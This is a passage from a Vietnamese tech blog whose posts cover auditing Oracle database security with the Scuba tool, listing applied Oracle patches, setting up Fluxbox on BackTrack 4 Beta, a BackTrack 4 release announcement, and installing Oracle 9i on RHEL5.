0day in {REA_TEAM}

Hướng dẫn : Sử dụng chương trình Scuba để rà soát security cho Oracle Database March 17, 2009


Hướng dẫn : Sử dụng chương trình Scuba để rà soát security cho Oracle Database

Nội dung chính

Giới thiệu

Cài đặt Scuba

Cấu hình để kết nối tới Database cần test

Test Configuration

Output Options Configuration

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Xuất kết quả ra báo cáo


Giới thiệu

Scuba là một công cụ nhỏ gọn dùng để đánh giá cơ sở dữ liệu, nó được sử dụng để thu thập các thông tin cấu hình liên quan tới security của một database. Bằng việc sử dụng Scuba có thể giúp chúng ta tìm ra hàng trăm thiếu sót như unpatched sofware (phần mềm chưa cập nhật bản vá), unsafe processes (các tiến trình không an toàn), weak passwords (các mật khấu “yếu”) , qua đó giúp ta đánh giá được những lỗi có độ rủi ro cao mà từ đó khiến cho cơ sở dữ liệu của chúng ta có khả năng bị tấn công bất cứ lúc nào.

Điều đặc biệt là Scuba hoàn toàn free, được viết bằng Java, nó hỗ trợ scan các db phổ biến như : Oracle, DB2, MS-SQL  để tìm ra các lỗi cũng như những thiếu sót trong việc cấu hình.Dựa trên kết quả mà chương trình đánh giá được, Scuba sẽ ghi lại kết quả vào một file XML và kèm theo các mẫu báo cáo có sẵn của nó để xuất ra các báo cáo chi tiết dựa trên kết quả mà nó đã thu thập được.

Theo đánh giá của Pete Finnigan, một chuyên gia hàng đầu trong lĩnh vực Oracle Security thì Scuba thường được sử dụng để tìm ra những lỗi “simple”, và vì nó là một công cụ free cho nên việc đánh giá của nó sẽ không toàn diện được như những công cụ thương mại. Tuy nhiên, cá nhân ông vẫn xem Scuba là một công cụ hữu ích cho những nhà quản trị cơ sở dữ liệu.

Cài đặt Scuba

Để cài đặt Scuba trước tiên chúng ta phải download công cụ tại: http://www.imperva.com/products/scuba.html . Điền đầy đủ các thông tin yêu cầu bạn sẽ nhận được email cung cấp đường dẫn để download chương trình. Scuba là một file thực thi độc lập, chúng ta không cần phải cài đặt. Chương trình yêu cầu tối hiểu hệ thống phải cài đặt JRE phiên bản từ 1.4 trở lên để chạy được chương trình. Scuba bao gồm một file cấu hình test cơ bản và một số báo cáo mẫu dùng cho việc xuất kết quả. Khi ta chạy chương trình lần đầu tiên, nó yêu cầu chúng ta điền một số các thông tin để hoàn tất quá trình đăng kí sử dụng cũng như chấp nhận các điều khoản của chương trình.

Để chạy được Scuba ta cần thực hiện theo ba bước:

  1. Cấu hình Database connection.
  2. Lựa chọn file test và cấu hình các thống số test.

Thiết lập Output location để lưu file kết quả và lựa chọn mẫu báo cáo.

Cấu hình để kết nối tới Database cần test

Sau khi cài đặt xong chương trình, mặc định màn hình DB Config của Scuba hiện lên như sau :

scuba1

Màn hình này yêu cầu chúng ta cung cấp các thông tin cần thiết để kết nối tới Database Server :

  1. DB Type :

Lựa chọn kiểu DB, các db mà chương trình hỗ trợ :

  • Oracle (versions 8i through 10gR2)
  • MS SQL (versions 6 through 2005)
  • Sybase (versions 11.x – 15.x)
  • DB2 (8.x and all versions with support for DRDA communications)

2. Host :
Nhập host name hoặc ip của máy chủ database.

3. Port :

Nhập cổng mà DB server đang lắng nghe, nếu là Oracle thì mặc định là 1521. Nếu bạn cấu hình để listener lắng nghe trên một cổng khác thì nhập lại vào phần Port. Bảng ánh xạ các port :

scuba24. DB Name :

Trường này là cần thiết khi bạn lựa chọn loại cơ sở dữ liệu là Oracle hoặc DB2. Các trường hợp khác thì để trống. Đối với cơ sở dữ liệu Oracle thì trường DB Name này ta cần nhập SID (Service ID).

5. Windows Authentication :

Trường này được sử dụng trong trường hợp lựa chọn Db Type là MS SQL Server.

6.User :

Account của người sử dụng hợp lệ dùng để đăng nhập vào DB. Nên chọn account có đủ quyền trong việc truy cập dữ liệu đặc biệt là các Data Dictionary trên Db server.

7.Password :

Mật khẩu để xác thực.

Sau khi cung cấp đầy đủ toàn bộ thông tin liên quan, nhấn nút “Test Connectivity” để kiểm tra việc kết nối tới DB có thành công hay không? Nếu thành công ta sẽ nhận được thông báo sau :

scuba3

Test Configuration

Chọn phần Test Config, màn hình test config xuất hiện như sau :

scuba4

Trước khi chạy chương trình để đánh giá DB được chọn ta cần cấu hình các mục tại phần Test Config. Bao gồm :

  1. File :

Đường dẫn đến file testconfig.xml, đây là một file xml bao gồm các mô tả về việc test mà sẽ được áp dụng cho DB mà chúng ta cần rà soát. Scuba đã cung cấp cho chúng ta một file mặc định, đi kèm với nó là thông tin về Date mô tả thời gian về lần cập nhật cuối cùng cho file này. Để cập nhật các thông tin mới nhất ta chọn phần Check For Updates.

  1. Max Info :

Giá trị trong trường này có thể được sử dụng để hạn chế về lượng thông tin kiểm tra bị thất bại mà ta thu thập từ cơ sơ dữ liệu

  1. Parameters :

Trong thực tế nhiều DB được cấu hình với một số các policy chẳng hạn Password Policy, thông tin trong trường parameters cho phép ta rà soát liên quan tới Policy đã được cấu hình bởi các nhà quản trị. Lấy ví dụ: độ dài tối thiểu cho một password mới là bao nhiêu, thời gian hết hiệu lực của password v..v.. Bạn có thể thay đổi các giá trị Parameter cho phù hợp với mục đích kiểm tra của mình.

PS: Trong bài viết này của tôi, mọi thông tin trong phần Test Config đều được để nguyên theo mặc định của chương trình.


Output Options Configuration

Tiếp theo ta chuyển qua phần Output Config, màn hình cấu hình như sau :

scuba5

Trước khi thực hiện việc rà soát cơ sở dữ liệu ta cần cấu hình để Scuba lưu thông tin kết quả của quá trình kiểm tra ra một file. Trong trường hợp của tôi, mọi thông tin thu được sẽ được xuất ra file results.xml.

Sau khi thực hiện xong việc rà xoát, dựa trên file kết quả này chúng ta có thể tạo ra các báo cáo dựa trên template là các file XSL có sẵn của Scuba. Chương trình bao gồm các mẫu báo cáo sau :

  • Scuba_Assessment_Report.xsl for reporting on all executed tests
  • Scuba_Summary_Report.xsl for a graphical summary of the assessment run
  • Scuba_Assessment_Report(No Details).xsl
  • ScubaOutputTransformOnlyFailedTests.xsl for reporting all tests that failed
  • ScubaOutputTransformOnlyInfo.xsl for reporting information only tests

Tùy chọn Use External Browser cho phép chúng ta sử dụng IE browser để hiện thị các báo cáo. Nếu như ta không chọn tùy chọn này thì kết quả sẽ hiện thị trong một Java text pane.

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Sau khi toàn bộ các thông tin liên quan về việc cấu hình đã hoàn tất, giờ là lúc ta tiến hành rà soát cơ sở dữ liệu của mình. Đơn giản chỉ bằng việc nhấn nút Go, chương trình sẽ thực hiện tự động và lưu kết quả vào file results.xml đồng thời hiện thị thông báo sau khi hoàn tất quá trình thực hiện.

Môi trường thử nghiệm của tôi như sau :

OS: Enterprise Linux Enterprise Linux AS release 4 (October Update 5)

Oracle DB Version: Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Prod

Oracle SID: VD11

Host Name: test

scuba6

Xuất kết quả ra báo cáo

Sau khi quá trình rà soát hoàn tất, bước cuối cùng là xuất kết quả kiểm tra ra các file báo cáo để theo dõi, qua đó tổng kết các thông tin liên quan tới security của DB. Dựa vào các thông tin này, ta có thể điều chỉnh để “Hardening Our Database” :) !

scuba7

scuba8

scuba9

Tài liệu tham khảo: Scuba_Users_Guide.pdf

Best Regards

m4n0w4r

PS : Vui lòng chỉ rõ tác giả và nguồn khi các bạn sử dụng lại tài liệu này :)

 

Truy vấn thông tin các Patch đã apply vào Oracle DB! March 11, 2009

Đang tìm hiểu cách liệt kê các patch đã được apply vào hệ thống như thế nào. Đọc một số tài liệu công thêm google, tôi thu thập được một số phương pháp dưới đây.

1. Sử dụng công cụ OPatch của Oracle:

Đây là một công cụ khá hay dùng để apply các patch hoặc dùng để liệt kê các patch đã được appy bằng OPatch. Mục đích chủ yếu của nó dùng để quản lý các “interim patch”. Sau khi cài đặt vào hệ thống, công cụ này sẽ được đặt theo đường dẫn dưới đây : $ORACLE_HOME/OPatch. Ta có thể đưa đường dẫn này luôn vào Path environment của hệ thống đề sau này chỉ cần gõ opatch là xong :D .

Chạy thử opatch ta có được thông tin như sau :

[applmgr@test ~]$ opatch
Invoking OPatch 10.2.0.3.0

Oracle interim Patch Installer version 10.2.0.3.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..

Usage: opatch [ -help ] [ -r[eport] ] [ command ]

command := apply
lsinventory
query
rollback
version
prereq
util

:= -help Displays the help message for the command.
-report Print the actions without executing.

example:
‘opatch -help’
‘opatch apply -help’
‘opatch lsinventory -help’
‘opatch rollback -help’
‘opatch prereq -help’
‘opatch util -help’

OPatch succeeded.

Để liệt kê patches sử dụng câu lệnh :

opatch lsinventory
Invoking OPatch 10.2.0.3.0

Oracle interim Patch Installer version 10.2.0.3.0
Copyright (c) 2005, Oracle Corporation. All rights reserved..

Oracle Home : /oracle/vd11db/10.2
Central Inventory : /etc/oraInventory
from : /etc/oraInst.loc
OPatch version : 10.2.0.3.0
OUI version : 10.2.0.3.0
OUI location : /oracle/vd11db/10.2/oui
Log file location : /oracle/vd11db/10.2/cfgtoollogs/opatch/opatch2009-03-11_15-56-39PM.log

Lsinventory Output file location : /oracle/vd11db/10.2/cfgtoollogs/opatch/lsinv/lsinventory2009-03-11_15-56-39PM.txt

——————————————————————————–
Installed Top-level Products (3):

Oracle Database 10g 10.2.0.1.0
Oracle Database 10g Products 10.2.0.1.0
Oracle Database 10g Release 2 Patch Set 2 10.2.0.3.0
There are 3 products installed in this Oracle Home.

Interim patches (3) :

Patch 5257698 : applied on Mon May 26 18:07:48 ICT 2008
Created on 29 Jun 2006, 07:12:38 hrs US/Pacific
Bugs fixed:
5257698

Patch 5556081 : applied on Mon May 26 17:29:07 ICT 2008
Created on 9 Nov 2006, 22:20:50 hrs PST8PDT
Bugs fixed:
5556081

Patch 5557962 : applied on Mon May 26 17:28:56 ICT 2008
Created on 9 Nov 2006, 23:23:06 hrs PST8PDT
Bugs fixed:
4269423, 5557962, 5528974

Nếu muốn liệt kê các thông tin chi tiết, ta dùng câu lệnh :

opatch lsinventory -detail
Interim patches (3) :

Patch 5257698 : applied on Mon May 26 18:07:48 ICT 2008
Created on 29 Jun 2006, 07:12:38 hrs US/Pacific
Bugs fixed:
5257698
Files Touched:
lx40003.nlb –> ORACLE_HOME/nls/data/old/lx40003.nlb
lx40030.nlb –> ORACLE_HOME/nls/data/old/lx40030.nlb
Patch Location in Inventory:
/oracle/vd11db/10.2/inventory/oneoffs/5257698
Patch Location in Storage area:
/oracle/vd11db/10.2/.patch_storage/5257698_Jun_29_2006_07_12_38

Patch 5556081 : applied on Mon May 26 17:29:07 ICT 2008
Created on 9 Nov 2006, 22:20:50 hrs PST8PDT
Bugs fixed:
5556081
Files Touched:
SecureGenKeystore.pm –> ORACLE_HOME/sysman/admin/scripts/SecureGenKeystore.pm
Patch Location in Inventory:
/oracle/vd11db/10.2/inventory/oneoffs/5556081
Patch Location in Storage area:
/oracle/vd11db/10.2/.patch_storage/5556081_Nov_9_2006_22_20_50

Patch 5557962 : applied on Mon May 26 17:28:56 ICT 2008
Created on 9 Nov 2006, 23:23:06 hrs PST8PDT
Bugs fixed:
4269423, 5557962, 5528974
Files Touched:
/oracle/sysman/eml/app/ContextInitFilter.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/oracle/sysman/eml/jobs/JobsListBean.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/oracle/sysman/eml/jobs/JobSql.class –> ORACLE_HOME/sysman/jlib/emCORE.jar
/_jobs/_jobsList.class –> ORACLE_HOME/sysman/jlib/emjsp.jar
/_jobs/_jobsList$__jsp_StaticText.class –> ORACLE_HOME/sysman/jlib/emjsp.jar
jobs_ui_pkgbody.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_ui_pkgbody.sql
jobs_ui_pkgdef.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_ui_pkgdef.sql
jobs_types.sql –> ORACLE_HOME/sysman/admin/emdrep/sql/core/latest/jobs/jobs_types.sql

2. Sử dụng registry$history dictionary table :

col action_time for a28
col action for a6
col namespace for a9
col version for a10
col id for 99999999
col comments for a10
select * from registry$history;

Một số kết quả

SQL> select * from registry$history;

ACTION_TIME ACTION NAMESPACE VERSION ID COMMENTS
—————————- —— ——— ———- ——— ———-
06-FEB-09 01.23.16.294350 PM UPGRAD SERVER 10.2.0.3.0 Upgraded f
E rom 9.2.0.
6.0

Or

select * from registry$history;

ACTION_TIME ACTION NAMESPACE VERSION ID COMMENTS
—————————- —— ——— ———- ——— ———-
30-JAN-06 12.31.23.139000 PM CPU SERVER 10.2.0.1.0 4751539 CPUJan2006

3. Tìm kiếm thông tin trong $ORACLE_HOME/.patch_storage/patch_logfile

Ví dụ trên hệ thống của tôi, tôi truy cập đến thư mục : /oracle/vd11db/10.2/.patch_storage. Liệt kê nội dung của thư mục này tôi có được :

[applmgr@test .patch_storage]$ ls -la
total 44
drwxr-x--- 5 applmgr oracle 4096 May 26 2008 .
drwxr-xr-x 66 applmgr oracle 4096 May 27 2008 ..
drwxr-xr-x 6 applmgr oracle 4096 May 26 2008 5257698_Jun_29_2006_07_12_38
drwxr-x--- 6 applmgr oracle 4096 May 26 2008 5556081_Nov_9_2006_22_20_50
drwxr-x--- 7 applmgr oracle 4096 May 26 2008 5557962_Nov_9_2006_23_23_06
-rw-r--r-- 1 applmgr oracle 0 May 26 2008 patch_free

Best Regards
m4n0w4r

 

Artwiz font :D March 10, 2009

Filed under: Artwiz font, FluxBox cho BackTrack Beta 4, Linux — kienmanowar @ 2:19 am
Tags:

Sau một hồi lọ mọ và hỏi 0day, cuối cùng cũng cài được cái Artwiz font cho BackTrack. Kết quả trông thật mượt mà thanh thoát :D

done

PS: Rảnh rỗi sẽ tổng kết lại quá trình cài đặt ^^

 

FluxBox cho BackTrack Beta 4…. March 9, 2009

Filed under: FluxBox cho BackTrack Beta 4, Linux — kienmanowar @ 4:20 am

Backtrack 4 Beta

BackTrack là một live CD Linux về bảo mật rất hay. Backtrack tổng hợp rất nhiều công cụ kiểm thử xâm nhập phổ biến và nổi tiếng trên thế giới. Backtrack được đánh giá là Live CD về bảo mật hay nhất năm 2006 (#1 Security Live Distribution) được tổ chức bởi insecure.org

Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau.  Backtrack liên tục cập nhật các công cụ, drivers,… hiện tại Backtrack có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp giữa 2 bộ công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.

Bữa trước có down thử bản iso vể chạy thấy có khá nhiều thay đổi, nó tích hợp thêm khá nhiều công cụ dùng để pentest..nhưng nhìn mãi cái giao diện KDE cùa nó thấy cũng chán. Google một hồi thấy người ta nói về các trình WM khác như fluxbox, blackbox, icewm v…v… khá nhiều nên tôi đánh liều chọn thử một thằng về cài. Qua chat và trao đổi với cậu em 0day, thấy 0day khen fluxbox chạy nhẹ và mượt lắm và cậu ấy có show cho tôi cái linux desktop của cậu ấy. Mới nhìn vào thấy shock :) ^^, nhìn nó thanh thoát và nhẹ nhàng thật.Tuy nhiên tôi lại phân vân vì khi đọc tài liệu cũng như google chẳng thấy bác nào viết bài liên quan tới FluxBox cho BackTrack cả… :| . Sau một hồi lưỡng lự tôi tặc lưỡi làm liều và có giao hẹn với 0day là : Nếu như anh bí chỗ nào thì chỉ cho anh nhé!! Lần đầu tiên cài và cấu hình anh chẳng biết gì đâu lolz

Cài đặt fluxbox

Bài viết này tôi giả sử các bạn đã download Backtrack 4 iso và cài đặt lên ổ cứng rồi nhé. Tôi thì test thử trên vmware thôi :) . Chi tiết cách cài đặt BT4 lên hdd các bạn có thể xem link sau : http://www.offensive-security.com/documentation/bt4install.pdf. Giờ thì chúng ta boot BT lên, màn hình đăng nhập hiện lên ta gõ user và pass mặc định của BT :(user : root , pass: toor).

Tiếp theo gõ lệnh để cấu hình network cho nó :

bt41

Ta có thể cấu hình ssh server trên BT để móc vào bằng putty, trước tiên ta cần generate key bằng cách gõ lệnh sshd-generate :

bt42

Tiếp theo tạo thư mục /var/run/sshd và cuối cùng là chạy sshd :

bt43

_Sau khi cấu hình ssh xong, dùng putty để log vào BT, tiến hành đăng nhập :

bt44

_Ta tiền hành cài fluxbox fluxconf bằng lệnh sau :

bt45

_Sau khi cài xong, tôi loay hoay đủ kiểu không tài nào start được fluxbox. Tôi lên google tìm kiếm, đọc bung bét trang wiki của fluxbox nhưng cũng vẫn chưa ngộ ra được tôi đã fail ở đâu mà không start được. Nản quá, tôi quay lên Y!M và buzz 0day… sau cuộc trò chuyện cuối cùng 0day đã cho tôi một giải pháp đó là : Bình thường anh sau khi đăng nhập và cấu hình network cho BT xong thì anh gõ lệnh startx để vào môi trường KDE của backtrack. Anh dùng lệnh để cat thử nội dung này sẽ thấy nó load file .xinitrc …

_Tôi quay ra tìm file startx và xem nội dung của nó :

bt46

_Sau khi biết được nội dung và thấy rằng startx sẽ load file userclientrc=$HOME/.xinitrc. Tôi quay ra chat tiếp với 0day, 0day hướng dẫn tôi như sau :

1. Anh tạo cho em file .xinitrc theo đường dẫn như trên.
2. Sau đó anh vim file này và add nội dung sau cho em :

exec startfluxbox

3. Sau đó anh gõ lệnh: chmod a+x .xinitrc và cuối cùngg gõ startx cho em, anh sẽ thấy fluxbox hiện ra.

Tôi thực hiện thử theo những gì 0day nói và kết quả sau khi gõ startx thì màn hình  fluxbox đã hiện ra ngay trước mắt tôi :D
bt47

Một chút tinh chỉnh

Sau khi vào được fluxbox rồi tôi lại nghĩ, nếu vậy khi tôi gõ startx là vào thẳng fluxbox rồi. Vậy là không còn thấy được cái kde nữa, vậy tôi muốn vừa start được fluxbox mà lại vừa start được kde thì làm cách nào? Ngay lập tức 0day cho tôi câu trả lời :

1. Anh tạo cho em file có tên là fluxstart
2. Sau đó anh vim file này và thêm nội dung sau :

#!/bin/bash
echo "exec fluxbox" > ~/.xinitrc
startx
rm -rf ~/.xinitrc

3. Cuối cùng chmod +x fluxstart. Mỗi lần muốn vào flux thì anh gõ ./fluxstart , còn ngược lại anh vào kde thì lại gõ startx như bình thường.

Khà khà như vậy vấn đề đã được giải quyết xong :) . Tôi cảm ơn 0day và quay ra tiếp tục mò mẫm ^^. Tôi lại google và tình cờ đọc được bài viết “startx cho Dr. WM” của tác giả Phan Vĩnh Thịnh “teppi” đăng trên bản tin của VnOSS. Tôi đã thử tiến hành mod lại file startx của BT4 như sau :

# In ra trinh don lua chon
choice=
while [ -z "$choice" ]; do
echo "Hay chon so thu tu cua WM";
echo "1. flux";
echo "2. KDE";
# De script de nhin hon
echo -e "Nhap so =>" "\c";
read choice;
# Gan gia tri cho userclientrc tuy theo su lua chon cua nguoi dung
case "$choice" in
1) userclientrc=$HOME/.xinitrc-flux;;
2) userclientrc=$HOME/.xinitrc-kde;;
# Neu nguoi dung khong nhap dung thi nhac nho va bo dat bien choice
# de cho vong lap tiep tuc lam viec
*) echo "Hay chon so thu tu tu 1 den 2 roi go Enter"; choice=;;
esac
done
# Phan sau giu nguyen

Hình minh họa :
bt48

Save file startx đã chỉnh sửa ở trên lại, sau đó tôi tạo file .xinitrc-flux với nội dung tương tự file .xinitrc mà tôi đã được 0day hướng dẫn tạo trước đó. Sau khi chỉnh sửa xong và chmod +x cho file .xinitrc-flux , tôi tiến hành thử nghiệm bằng cách gõ startx :
bt49

Tôi chọn 1 và nhấn Enter, màn hình Fluxbox đã hiện ra :D .

Thiết lập hình nền

Sau khi boot vào FluxBox tôi dòm cái Style của nó hơi ẹ tí ^^. Tôi đổi thử sang một cái style khác trông gọn gàng hơn, đây vẫn là những style sẵn có khi chúng ta cài fluxbox vào, phần sau tôi sẽ hướng dẫn add thêm một style ngoài. Tôi chọn cái Emerge Style, dòm trông cũng gọn gàng hẳn :D

bt50

Bước tiếp theo tôi sẽ thiết lập hình nên quen thuộc của BT4 mà ta thấy khi start vào kde. Đọc trên Wiki và các tài liệu khác thì nói là cấu hình lại file startup trong thư mục $HOME/.fluxbox/startup. Tôi xác định đường dẫn đến file hình nền và edit lại file startup như sau :

root@bt:~# locate -i origin2
/root/.fvwm/wallpaper-thumbnails/usr/share/wallpapers/origin2.jpg
/root/.kde3/share/apps/kstyle/themes/original/wallpapers/desktop/origin2.jpg
/root/.kde3/share/apps/kthememanager/themes/original/wallpapers/desktop/origin2.jpg
/usr/share/wallpapers/origin2.jpg

bt51

Sau khi sửa file xong tôi save lại, chọn tính năng Reconfigure từ Fluxbox menu và exit khỏi FluxBox. Sau đó lại gõ startx để vào lại fluxbox, Wow… cái hình nền quen thuộc đã hiện ra trước mắt tôi lolz

bt52

Chạy Conky

BT4 đã được tích hợp sẵn ứng dụng Conky, tôi có đọc một bài viết của bác 281 trên HVA (http://www.hvaonline.net/hvaonline/posts/list/18998.hva) giới thiệu về conky, cách cài đặt cũng như tinh chỉnh :

Conky là một ứng dụng có thể hiển thị các thông tin về hệ thống của bạn, chẳng hạn như dữ liệu về “nhân hệ điều hành – kernel”, tình trạng của CPUs, RAM, HDD, …

Khác với các ứng dụng theo dõi hệ thống thông thường như “top”, conky sẽ in các dữ liệu ra cửa sổ root trong X11 (mặc dù conky cũng có khả năng làm việc này ở chế độ cửa sổ thông thường – windowed mode).

Các dữ liệu về hệ thống sẽ được Conky biểu diễn ở dạng chữ (Text), đồ thị (Graph), biểu đồ thanh ngang (bar). Bên cạnh các thông tin về hệ thống, Conky còn có thể hiển thị tình trạng hoạt động của các ứng dụng khác như music player (xmms, audacious,…), E-mails, RSS-Feeds, chương trình truyền hình, thời tiết,…

Một ưu điểm quan trọng khác của Conky so với “top” là người sử dụng được thoải mái cấu hình và định dạng các dữ liệu, sao cho các thông tin này được hiển thị theo ý muốn, tạo nên sự khác biệt cho mỗi người sử dụng.

Tôi cho conky start cùng với fluxbox như sau, đọc trong file startup của fluxbox tôi thấy có đoạn :

# Applications you want to run with fluxbox.
# MAKE SURE THAT APPS THAT KEEP RUNNING HAVE AN ”&” AT THE END.
#
# unclutter -idle 2 &
# wmnd &
# wmsmixer -w &
# idesk &

Do đó tôi chỉ cần thêm vào dòng sau :

bt53

Sau khi edit xong tôi lại chọn Reconfigure từ menu của FluxBox, tiếp theo tôi exit khỏi flux và lại vào lại. Kết quả tôi có được như sau :
bt54

Trông cái conky của BackTrack khó nhìn quá, tôi mạn phép mượn cái cấu hình của bác 281, save thành file .conkyrc và up vào thư mục $HOME. Ta backup cái conky của BT4 trước rồi mới up lên ^^. Kết quả có được như sau :

bt55

Edit lại menu cho BT4

Tôi chưa có thời gian để tạo menu cho BT4 nên đành load tạm cái menu của BT3 mà một tác giả nào đó đã create và thảo luận trên site http://remote-exploit.org/. Sau khi đẩy menu lên tôi load lại fluxbox và có được menu như sau :

bt56

Thêm Style cho FluxBox

Tôi load thử một style tại đây : http://dugnet.com/klown/wallpaper/show.php?id=_themes/_fluxbox/sn33z và sau đó tôi up vào thư mục styles trong $HOME/.fluxbox. Sau khi up xong tôi chọn Reconfigure từ fluxbox menu. Cuối cùng tôi chọn style vừa mới up lên như sau :

bt57

Style sau khi apply :

bt58

Như vậy là tạm xong quá trình tìm hiểu về Fluxbox. Hi vọng các bạn sẽ bắt đầu cảm thấy có hứng thú với fluxbox như tôi.

Best Regards
m4n0w4r

 

BackTrack 4 Beta is out!! February 18, 2009

Filed under: BackTrack 4 Beta is out, Linux — kienmanowar @ 7:56 am
Tags:

Once again, it’s that time of the year… The Remote Exploit Dev team are working hard on BackTrack 4 … and it will be released in the very near future…

We have taken huge conceptual leaps with BackTrack 4, and have some new and exciting features.The most significant of these changes is our expansion from the realm of a Pentesting LiveCD to a full blown “Distribution”.Now based on Debian core packages and utilizing the Ubuntu software repositories, BackTrack 4 can be used both as a Live CD, or installed on hard disk as a full distribution. By syncing with our BackTrack repositories, you will regularly get security tool updates soon after they are released.

bt41

The BackTrack kernel is now in sync with upstream kernels – so you always get the latest hardware support.Kernel upgrades including the latest hardware support will be periodically available.

Working out of the box:

* Native support for Pico e12 and e16 cards is now fully functional, making BackTrack the first pentesting distro to fully utilize these awesome tiny machines.

* Support for PXE Boot – Boot BackTrack over the network with PXE supported cards!

* SAINT EXPLOIT – kindly provided by SAINT corporation for our users with a limited number of free IPs.

* MALTEGO – The guys over at Paterva did outstanding work with Maltego 2.0.2 – which is featured in BackTrack as a community edition.

* The latest mac80211 wireless injection pacthes are applied, with several custom patches for rtl8187 injection speed enhancements. Wireless injection support has never been so broad and functional.

* Unicornscan – Fully functional with postgress logging support and a web front end.

* RFID support (thanks to Adam Laurie)

* Possibly CUDA support…

* New and updated tools – the list is endless!

bt42

With all these changes, PLUS the usual goodies and surprises we have in BackTrack, we are truly excited about this new release.

More screenshots :

Maltego :
bt43

Unicornscan FE :
bt44

W3af :
bt45

 

Installing Oracle 9i on RHEL5. December 16, 2008

Filed under: Installing Oracle 9i on RHEL5., Linux — kienmanowar @ 9:39 am

I have to install Oracle 9i on RHEL5, i follow all steps to set up OS, environment variables, install all require rpm files. When run the /runinstaller , select appropriate choices. After few clicks  Oracle will be installed. However i  face a problem during dbca configuration, like this :
err

Try to fix but i can’t find the solution, i guess may be wrong with JRE, after few minutes for google :) … i found the solution to run DbCA. Here is all the steps from nirajkvinit’s blog to install oracle9i :

Assuming

· You know how to operate a Linux Box. (Navigating directories/ knowhow of basic commands)

· You know how to install software modules/libraries (Mostly rpms for RHEL5).

· You have a system installed with RHEL5 or you know how to install it.

Important tips during installation of RHEL5

· Do not install Virtualization support during RHEL5 installation. I don’t know why but my Oracle 9i Installation behaved erratically whenever this Virtualization module was present in my system. It installs a different Kernel (Xen). So skip it.

· During RHEL5 Installation disable SELinux. If you couldn’t do it in the first place then don’t worry, read ahead to know how to disable it.

1. Installing Oracle 9i on RHEL5 (Logged in as root)

· Disabling SELinux – Disable SELinux now (If you couldn’t disable it during installation).

#gedit /etc/selinux/config

And make sure to set the SELINUX Flag disabled.

SELINUX=disabled

Installing JRE – Newer version of JRE behaved badly in my Oracle installation, so Download the Java Runtime Enviroment (I used j2re-1_3_1_19-linux-i586.bin) from http://java.sun.com/products/archive/j2se/1.3.1_19/index.html . Fire the command prompt and navigate to the location where you have stored the downloaded file. Most probably it will be Root’s Desktop Directory. So go there.

#cd /root/Desktop

Give the file, execute permission and then execute it. When the JRE is exracted, move the extracted directory into the “/usr/local” directory.

# chmod +x j2re-1_3_1_19-linux-i586.bin
# ./ j2re-1_3_1_19-linux-i586.bin
# mv jre1.3.1_19 /usr/local/

· Installing missing libraries You don’t know whether you have the required packages installed or not. Right! Don’t sweat. Run following commands to check whether you have those packages or not. If they are installed, the command prompt will return you their version, else ‘Not installed’ message.

#rpm -q compat-db compat-gcc-34 compat-gcc-34-c++ compat-libgcc-296 compat-libstdc++-296

If everything is alright, then it will show the following:

[root@localhost ~]# rpm -q compat-db compat-gcc-34 compat-gcc-34-c++ compat-libgcc-296 compat-libstdc++-296

compat-db-4.2.52-5.1

compat-gcc-34-3.4.6-4

compat-gcc-34-c++-3.4.6-4

compat-libgcc-296-2.96-138

compat-libstdc++-296-2.96-138

[root@localhost ~]# rpm -q compat-libstdc++-33 gcc gcc-c++ glibc glibc-common glibc-devel glibc-headers libgcc make libXp

compat-libstdc++-33-3.2.3-61

gcc-4.1.1-52.el5

gcc-c++-4.1.1-52.el5

glibc-2.5-12

glibc-common-2.5-12

glibc-devel-2.5-12

glibc-headers-2.5-12

libgcc-4.1.1-52.el5

make-3.81-1.1

libXp-1.0.0-8

If you get the ‘Not installed’ message with any of the package; then load your installation media (RHEL5 Installation Disk), and run the following commands to install the necessary packages.

#cd /media/cdrom/Server

#rpm -Uvh make-3*

#rpm -Uvh glibc-2*

#rpm -Uvh compat-libstdc++-33-3*

#rpm -Uvh compat-gcc-34-3*

#rpm -Uvh compat-gcc-34-c++-3*

#rpm -Uvh gcc-4*

#rpm -Uvh libXp-1*

#rpm -Uvh compat-db-4*

· Installing patches – You need to download two patches and install it. These patches are:

http://oss.oracle.com/projects/compat-oracle/dist/files/RedHat/compat-libcwait-2.1-1.i386.rpm

http://oss.oracle.com/projects/compat-oracle/dist/files/RedHat/compat-oracle-rhel4-1.0-5.i386.rpm

Navigate to the location where you have stored the downloaded file. Most probably it will be Root’s Desktop Directory. So go there.

#cd /root/Desktop

#rpm -Uvh compat-libcwait-2.1-1.i386.rpm

#rpm -Uvh compat-oracle-rhel4-1.0-5.i386.rpm –nodeps

· Now the Workarounds – Some libraries aren’t available for RHEL5, so you can use the substitutes available in the RHEL5 itself. All you have to do is linking. So, here you go.

1. #cd /usr/lib
#ln -s libstdc++-3-libc6.2-2-2.10.0.so libstdc++-libc6.1-1.so.2

2. #cd /usr/bin
#ln -s gcc34 gcc32

3. #cd /usr/lib
#ln -s libgdbm.so.2.0.0 libdb.so.2

· User and Group Creation – Oracle installer wouldn’t run as the root user, so you need to create a user. It would be better, if you create a special group for Oracle. To do these, run the following commands in the command prompt.

#groupadd oinstall

#groupadd dba

#groupadd oper

#useradd -g oinstall -G dba oracle

#passwd oracle

· ORACLE_BASE Directory Creation -Login as root and create base directory for Oracle ($ORACLE_BASE).

# cd /opt
# mkdir oracle
# chown –R oracle.oinstall oracle

#cd oracle

#mkdir 920

· Setting Environment VariablesNow since you have created the oracle user, you need to setup its environment variables. For that, you need to update oracle’s .bash_profile file.

Open bash profile of Oracle:

#gedit /home/oracle/.bash_profile

Now add the following lines in the file –

PATH=$PATH:$HOME/bin; export PATH

ORACLE_BASE=/opt/oracle; export ORACLE_BASE

ORACLE_HOME=$ORACLE_BASE/920; export ORACLE_HOME

ORACLE_SID=orcl; export ORACLE_SID

LD_LIBRARY_PATH=$ORACLE_HOME/lib; export LD_LIBRARY_PATH

